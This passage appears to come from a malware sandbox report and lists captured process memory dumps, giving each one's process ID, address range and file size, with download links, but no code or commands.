                                                                                                                                      • memory/1220-157-0x0000000006DA0000-0x0000000006DEC000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        304KB

                                                                                                                                        Download

                                                                                                                                      • memory/1220-155-0x0000000006330000-0x0000000006684000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        3.3MB

                                                                                                                                        Download

                                                                                                                                      • memory/1384-1042-0x0000000000400000-0x0000000000869000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.4MB

                                                                                                                                        Download

                                                                                                                                      • memory/1384-379-0x0000000000400000-0x0000000000869000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.4MB

                                                                                                                                        Download

                                                                                                                                      • memory/1384-1162-0x0000000000400000-0x0000000000869000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.4MB

                                                                                                                                        Download

                                                                                                                                      • memory/1384-815-0x0000000000400000-0x0000000000869000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.4MB

                                                                                                                                        Download

                                                                                                                                      • memory/1384-814-0x0000000000400000-0x0000000000869000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.4MB

                                                                                                                                        Download

                                                                                                                                      • memory/1384-1221-0x0000000000400000-0x0000000000869000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.4MB

                                                                                                                                        Download

                                                                                                                                      • memory/1384-1498-0x0000000000400000-0x0000000000869000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.4MB

                                                                                                                                        Download

                                                                                                                                      • memory/1384-909-0x0000000000400000-0x0000000000869000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.4MB

                                                                                                                                        Download

                                                                                                                                      • memory/1892-19-0x0000000007E60000-0x00000000084DA000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        6.5MB

                                                                                                                                        Download

                                                                                                                                      • memory/1892-23-0x0000000007C10000-0x0000000007C32000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        136KB

                                                                                                                                        Download

                                                                                                                                      • memory/1892-17-0x0000000006750000-0x000000000676E000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        120KB

                                                                                                                                        Download

                                                                                                                                      • memory/1892-18-0x00000000067E0000-0x000000000682C000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        304KB

                                                                                                                                        Download

                                                                                                                                      • memory/1892-16-0x0000000006140000-0x0000000006494000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        3.3MB

                                                                                                                                        Download

                                                                                                                                      • memory/1892-20-0x0000000006C70000-0x0000000006C8A000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        104KB

                                                                                                                                        Download

                                                                                                                                      • memory/1892-6-0x00000000060D0000-0x0000000006136000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        408KB

                                                                                                                                        Download

                                                                                                                                      • memory/1892-2-0x00000000051B0000-0x00000000051E6000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        216KB

                                                                                                                                        Download

                                                                                                                                      • memory/1892-22-0x0000000007C80000-0x0000000007D16000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        600KB

                                                                                                                                        Download

                                                                                                                                      • memory/1892-24-0x0000000008A90000-0x0000000009034000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        5.6MB

                                                                                                                                        Download

                                                                                                                                      • memory/1892-5-0x0000000006060000-0x00000000060C6000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        408KB

                                                                                                                                        Download

                                                                                                                                      • memory/1892-4-0x0000000005EC0000-0x0000000005EE2000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        136KB

                                                                                                                                        Download

                                                                                                                                      • memory/1892-3-0x0000000005890000-0x0000000005EB8000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        6.2MB

                                                                                                                                        Download

                                                                                                                                      • memory/2544-272-0x0000000000580000-0x0000000000890000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        3.1MB

                                                                                                                                        Download

                                                                                                                                      • memory/2544-273-0x0000000000580000-0x0000000000890000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        3.1MB

                                                                                                                                        Download

                                                                                                                                      • memory/2864-870-0x0000000000E10000-0x00000000012D6000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.8MB

                                                                                                                                        Download

                                                                                                                                      • memory/2864-867-0x0000000000E10000-0x00000000012D6000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.8MB

                                                                                                                                        Download

                                                                                                                                      • memory/3304-296-0x00000251FABB0000-0x00000251FABD0000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        128KB

                                                                                                                                        Download

                                                                                                                                      • memory/3788-179-0x0000000000C60000-0x0000000001126000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.8MB

                                                                                                                                        Download

                                                                                                                                      • memory/3788-182-0x0000000000C60000-0x0000000001126000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.8MB

                                                                                                                                        Download

                                                                                                                                      • memory/3832-237-0x0000000000040000-0x0000000000506000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.8MB

                                                                                                                                        Download

                                                                                                                                      • memory/3832-247-0x0000000000040000-0x0000000000506000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.8MB

                                                                                                                                        Download

                                                                                                                                      • memory/4708-288-0x0000000000590000-0x0000000000C26000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        6.6MB

                                                                                                                                        Download

                                                                                                                                      • memory/4708-292-0x0000000000590000-0x0000000000C26000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        6.6MB

                                                                                                                                        Download

                                                                                                                                      • memory/4732-336-0x0000000000A60000-0x0000000000EA2000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.3MB

                                                                                                                                        Download

                                                                                                                                      • memory/4732-334-0x0000000000A60000-0x0000000000EA2000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.3MB

                                                                                                                                        Download

                                                                                                                                      • memory/4732-775-0x0000000000A60000-0x0000000000EA2000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.3MB

                                                                                                                                        Download

                                                                                                                                      • memory/4732-335-0x0000000000A60000-0x0000000000EA2000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.3MB

                                                                                                                                        Download

                                                                                                                                      • memory/4732-727-0x0000000000A60000-0x0000000000EA2000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.3MB

                                                                                                                                        Download

                                                                                                                                      • memory/4920-159-0x0000000000E10000-0x00000000012D6000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.8MB

                                                                                                                                        Download

                                                                                                                                      • memory/4920-161-0x0000000000E10000-0x00000000012D6000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        4.8MB

                                                                                                                                        Download

                                                                                                                                      • memory/5136-1068-0x0000000000400000-0x0000000000682000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        2.5MB

                                                                                                                                        Download

                                                                                                                                      • memory/5252-1128-0x00007FF64AF40000-0x00007FF64AFA7000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        412KB

                                                                                                                                        Download

                                                                                                                                      • memory/5252-1516-0x0000000000400000-0x0000000000CDB000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        8.9MB

                                                                                                                                        Download

                                                                                                                                      • memory/5380-792-0x0000000000400000-0x0000000000461000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        388KB

                                                                                                                                        Download

                                                                                                                                      • memory/5380-793-0x0000000000400000-0x0000000000461000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        388KB

                                                                                                                                        Download

                                                                                                                                      • memory/5644-1072-0x000001E00E5D0000-0x000001E00E641000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        452KB

                                                                                                                                        Download

                                                                                                                                      • memory/5644-1071-0x0000000000AA0000-0x0000000000AA2000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        8KB

                                                                                                                                        Download

                                                                                                                                      • memory/5644-1143-0x000001E00E5D0000-0x000001E00E641000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        452KB

                                                                                                                                        Download

                                                                                                                                      • memory/5644-1079-0x000001E00E5D0000-0x000001E00E641000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        452KB

                                                                                                                                        Download

                                                                                                                                      • memory/5644-1080-0x000001E00E5D0000-0x000001E00E641000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        452KB

                                                                                                                                        Download

                                                                                                                                      • memory/5644-1081-0x000001E00E5D0000-0x000001E00E641000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        452KB

                                                                                                                                        Download

                                                                                                                                      • memory/6516-1277-0x0000000000400000-0x0000000000E0B000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.0MB

                                                                                                                                        Download

                                                                                                                                      • memory/6516-1515-0x0000000000400000-0x0000000000E0B000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.0MB

                                                                                                                                        Download

                                                                                                                                      • memory/6516-1522-0x0000000000400000-0x0000000000E0B000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        10.0MB

                                                                                                                                        Download

                                                                                                                                      • memory/6692-1520-0x0000000000400000-0x000000000042E000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        184KB

                                                                                                                                        Download

                                                                                                                                      • memory/6692-1519-0x0000000000400000-0x000000000042E000-memory.dmp

                                                                                                                                        Filesize

                                                                                                                                        184KB

                                                                                                                                        Download